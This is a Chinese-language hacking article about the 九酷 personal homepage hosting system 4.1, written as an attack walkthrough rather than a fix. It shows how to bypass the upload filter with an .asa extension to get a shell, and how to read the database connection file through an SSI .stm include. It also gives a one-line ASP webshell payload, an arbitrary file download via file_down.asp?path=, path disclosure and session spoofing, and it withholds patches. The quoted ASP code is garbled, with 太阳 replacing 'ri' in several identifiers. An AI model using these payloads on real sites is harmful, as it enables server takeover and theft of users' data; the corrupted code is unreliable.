再探九酷网络个人主页空间管理系统

玄猫在2004年12期的黑X上发表了对于九酷网络个人主页空间管理系统(下面称作”九酷”)的一篇漏洞研究(请参看2004年12期杂志《轻松突破免费空间限制》),当时针对的版本是3.0,最近拿到了九酷程序的4.1免费版,其官方说明上写到修正了许多漏洞,但猫猫始终认为简单的asp程序很难做到高效安全地管理免费空间,于是简单的对这套程序作了安全监测,结果发现了多个高危漏洞,大部分能直接威胁到管理员或其他用户的安全,甚至危及服务器。我们来看看这些漏洞:

1、上传漏洞。  

程序的编写者犯了一个较易被忽略的错误-仅在后台管理中配置”禁止”上传的文件的类型,而并非”允许”上传的类型,这样极容易忽略一些危险的扩展名。(图一)

我们来看界面,选择一个asp文件上传,程序提示扩展名非法(图二),好的,我们把扩展名改为asa,上传,成功,得到了一个Shell。(图三)

但是我们运气不会总是这么好吧,如果有经验的网管把asa,cer等文件的asp.dll映射删除了怎么办呢。我们可以利用SSI来获得敏感信息。

什么是SSI呢,SSI是Server Side Include的缩写,即服务器端包含,这个功能可以在服务器端包含一个文件,由ssinc.dll这个文件负责包含文件。譬如我们在asp中常用的<!--#include file=”conn.asp”-->即是SSI的一种应用。

在本地写一个文件,内容是<!--#include file=”inc/conn.asp”-->,保存为look.stm上传到服务器上,然后访问此文件,查看源文件,你就可以看到程序的数据连接文件的内容了。(图四)这个系统的数据库没有作防下载处理,我们可以放心下载。但是注意:如果文件名是有特殊符号的,我们应该用ASCII码转换器来转换正确的地址。

关于上传,还有一个漏洞就是,这个系统用的是5xsoft的通用上传类,有没有上传漏洞呢,这个漏洞很老了,希望大家自己动手试试看。

2、保存漏洞。  

新的4.1的九酷,对读目录、文件和删除都作了不错的权限判定,如果直接改参数会报错说没有权限(图五),并且改文件名的时候程序也会一样判断是不是危险类型。

经过测试,玄猫发现在文件编辑保存模块出现了小洞洞,我们可以把文件顺利地保存为asp的扩展名,但是程序会对文件内容进行检查,一些危险字符是不能用的,不过我们可以用一句话木马,在文件中写入:<%execute request(“value”)%>,然后用玄猫改进的一句话木马客户端写入新的文件即可。

3、Stream下载文件漏洞。  
程序在网站管理中有个功能是下载文件,是在服务器端以二进制方式读出文件,然后以流输出到客户端浏览器,负责这个功能的是file_down.asp文件。我们来看关键代码:  

call downloadFile(Request("path")) ‘获取参数path的值,即要下载的文件  
function downloadFile(strFile)  
strFilename = fullpath&strFile  
Response.Buffer = True  
Response.Clear  
Set s = Server.CreateObject("ADODB.Stream") ‘建立Stream对象  
s.Open  
s.Type = 1  
on error resume next  
Set fso = Server.CreateObject("Sc太阳pting.FileSystemObject") ’建立Stream对象  
if not fso.FileExists(strFilename) then ’如果文件不存在  
Response.W太阳te("<h1>Error:</h1>" & strFilename & " does not exist<p>")  
Response.End  
end if  
Set f = fso.GetFile(strFilename)  
intFilelength = f.size  
s.LoadFromFile(strFilename) ’读入文件  
if err then  
Response.W太阳te("<h1>Error: </h1>" & err.Desc太阳ption & "<p>")  
Response.End  
end if  
’开始输出文件  
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name  
Response.AddHeader "Content-Length", intFilelength  
Response.CharSet = "UTF-8"  
Response.ContentType = "application/octet-stream"  
Response.BinaryW太阳te s.Read ‘以二进制方式发送文件流  
Response.Flush  
s.Close  
Set s = Nothing  
End Function  

程序没有检测是否有权限访问要下载的文件,就通通给输出了,这样我们就可以下载服务器上的任何文件了,先提交file_down.asp?path=inc/conn.asp,下载数据库连接文件,然后就可以下载数据库了。注意:因为访问的文件是file_down.asp,所以下载的文件地址应该是相对根目录的,不要搞错了哦。  
4、暴露系统路径漏洞。  

这个漏洞还是由于上面的file_down.asp文件引起的,我们看到,这个模块的一个错误处理是当文件不存在时提示,但是程序很好心的连路径一起提示了,这样当我们试图下载一个不存在的文件时,就会得到系统路径。(图六)  
程序的漏洞到这里就算说完了,但是玄猫在文章还要说些关于这种系统的看法:  
个人认为,这种系统如果要做到安全性非常好的话,只有不提供asp的免费空间,这样将用户网站的数据目录的执行权限去掉,禁止其运行asp等由asp.dll解析的文件或这应用SSI随便读取文件,当然,这样网站提供的服务就单调很多了。可能有的朋友认为我说的过于绝对了,除去程序的漏洞不说,让我们来想想这样构建有什么弊病:  

1、用户权限难以设定:  
只要用户的权限设定有误,就可能造成用户可以越权到其他用户的目录或者网站的其他目录。  
这个问题当前没有很好的解决方式,除非给每个空间的用户单独配置internet来宾账号的权限,这样提供商的工作量就会大大加大。  
2、session混乱难以控制:  
即使像上面那样作了单独的配置,但用户始终在一台服务器上,一般提供的域名也是按照目录的方式,这样主域名一定是相同的,譬如所有用户的网址都是形如:http://blackwoods.cn/yourname的形式,但是前面的blackwoods.cn都是相同的,这样就导致用户只要可以运行asp,就可以自己构造session,加之程序中判定用户是否登录仅凭session中的用户名或者session是否为空,不在session中保存密码以密码来判定,这样我们就可以自己构造session欺骗系统以达到登录管理或其他用户的目的。  

因为漏洞比较多,并且比较明显,所以玄猫在这里就不给出漏洞的补丁了,大家可以试着对editfile.asp、upfile.asp这些文件进行修改,如果大家对这个系统还有什么更好的想法.